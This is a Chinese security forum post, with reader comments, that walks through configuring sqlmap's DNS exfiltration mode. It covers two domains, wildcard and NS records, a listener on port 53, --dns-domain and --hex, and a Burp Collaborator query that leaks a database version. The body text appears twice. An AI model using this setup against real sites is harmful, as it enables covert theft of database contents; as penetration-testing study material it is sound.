sqlmap _dns注入配置方法
网上针对sqlmap进行dns注入的相关文章太少,只是简单介绍了下--dns-domain参数,相关的实战文章要么就写的模糊或者一笔带过,搞的云里雾里(主要是菜,关键还没大佬带)。然后自己参考网上的方法自己重新搞了一遍。
需要准备的东西,sqlmap、windows盲注一个、两个域名、一台外网服务器。
某次搞事情的时候碰到一个时间盲注,碰巧是台windows的,想起dns注入的方法。
在开始前我准备先用sqlmap的--sql-shell 命令进行dns注入payload的测试
先到burpsuite中的collaborator client中复制出burp给我们安排的域名
在利用sqlmap执行sql语句
Sqlmap还在跑的过程中burpsuite中已经接收到请求了。
352E362E3134.9hreqpopru1xgf9skq473yo14sajy8.burpcollaborator.net.
中的352E362E3134就是执行version()后返回的结果。
解码获取到mysql的版本。好了至此这个点进行dns注入是没毛病的。
准备配置域名2个,网上有些文章说一个也行,但是总感觉较为麻烦,很多域名服务器商也并未提供某些高级功能,所以还是准备两个的简单些。
www.a.com
www.b.com
首先我们来配置域名a-> a.com
只需要添加*进行泛解析指向我们的外网服务器的ip就可以了。
在来配置我们的域名b->b.com
这个就更简单了,直接修改域名的dns,就填入ns1.a.com ns2.a.com 就行了其他的都不用搞,照着填写就行了。
然后等待域名生效。我们在到外网服务器上来测试下看是否解析成功
服务器上开始监听53端口
然后本机ping hello.b.com 在外网服务器上发我们已经能接受到hello.b.com的请求,并且本机提示是找不到主机不用管,因为我们没有设置解析。已经都配置完毕我们使用sqlmap进行dns注入即可。
Sqlmap中加入参数--dns-domain=b.com --hex即可
来到这一步sqlmap会卡住提示设置DNS服务器实例
直接ctrl+c
提示通过DNS通道的数据检索成功。
注入的速度就跟报错和联合一样快了,再也不用忍受龟速了。
TCV:0.000001
需要准备的东西,sqlmap、windows盲注一个、两个域名、一台外网服务器。
某次搞事情的时候碰到一个时间盲注,碰巧是台windows的,想起dns注入的方法。
在开始前我准备先用sqlmap的--sql-shell 命令进行dns注入payload的测试
先到burpsuite中的collaborator client中复制出burp给我们安排的域名
在利用sqlmap执行sql语句
Sqlmap还在跑的过程中burpsuite中已经接收到请求了。
352E362E3134.9hreqpopru1xgf9skq473yo14sajy8.burpcollaborator.net.
中的352E362E3134就是执行version()后返回的结果。
解码获取到mysql的版本。好了至此这个点进行dns注入是没毛病的。
准备配置域名2个,网上有些文章说一个也行,但是总感觉较为麻烦,很多域名服务器商也并未提供某些高级功能,所以还是准备两个的简单些。
www.a.com
www.b.com
首先我们来配置域名a-> a.com
只需要添加*进行泛解析指向我们的外网服务器的ip就可以了。
在来配置我们的域名b->b.com
这个就更简单了,直接修改域名的dns,就填入ns1.a.com ns2.a.com 就行了其他的都不用搞,照着填写就行了。
然后等待域名生效。我们在到外网服务器上来测试下看是否解析成功
服务器上开始监听53端口
然后本机ping hello.b.com 在外网服务器上发我们已经能接受到hello.b.com的请求,并且本机提示是找不到主机不用管,因为我们没有设置解析。已经都配置完毕我们使用sqlmap进行dns注入即可。
Sqlmap中加入参数--dns-domain=b.com --hex即可
来到这一步sqlmap会卡住提示设置DNS服务器实例
直接ctrl+c
提示通过DNS通道的数据检索成功。
注入的速度就跟报错和联合一样快了,再也不用忍受龟速了。
TCV:0.000001
评论27次
这个要求还是比较苛刻,注入点xi统必须是windws。
请教一下,最后出结果的sqlmap命令,是在服务器上运行的不是?(也就是说sqlmap自动监听了53端口的dns请求?)
SQLMAP监听53端口
只能windows 才能这么玩。。这种场景比较少
原理上就不可能使用linux吧。。
可惜现在只能支持windows的。linux下不行。
谢谢分享学xi到了
先用sqlshell输入 show variables like '%secure%'; 判斷可否請求dns secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制 也推一下 t00ls 的 dnslog
现在的网站大部分偏向Linux 。window的遇到的比较少了。政企window的比较多
看了这篇,我觉得我也要抽时间学xi了
SQLMap的--dns-domain功能原来要和dns解析IP是同一台机器,一些dnslog平台提供的api查询接口好像没法直接用。ns1.a.com配置好不需要搭dns服务吧?
不需要搭建,sqlmap会自动监听53,并且抽取请求数据,然后就是像平常注入一样了
请教一下,最后出结果的sqlmap命令,是在服务器上运行的不是?(也就是说sqlmap自动监听了53端口的dns请求?)
是的,sqlmap要在dns指向的机器上跑,不然会DNS信道建立失败,
SQLMap的--dns-domain功能原来要和dns解析IP是同一台机器, 一些dnslog平台提供的api查询接口好像没法直接用。 ns1.a.com配置好不需要搭dns服务吧?
我一直想不通的是它怎么拿到DNS记录的,DNS结果怎么回传给sqlmap
就是你需要一台外网服务器那上面装好sqlmap,然后它会启用个自带的dns.py来监听53端口来接收dns查询记录
我一直想不通的是它怎么拿到DNS记录的,DNS结果怎么回传给sqlmap
请教一下,最后出结果的sqlmap命令,是在服务器上运行的不是?(也就是说sqlmap自动监听了53端口的dns请求?)
你在vps上安装好sqlmap进行注入就行了,sqlmap会自动开启53端口监听,它有个dns.py的脚本。
请教一下,最后出结果的sqlmap命令,是在服务器上运行的不是?(也就是说sqlmap自动监听了53端口的dns请求?)
一直没弄明白dns注入,参考参考,找个时间练练
原理性的东西没有说,我这两天正好也在弄这个,遇到了几个坑,你这个文章差不多也算一笔带过了。
要Linux能这么弄就方便了!
我觉得,如果不能自动化,还是收集整理一些脚本,然后手动去测试,看结果好一些。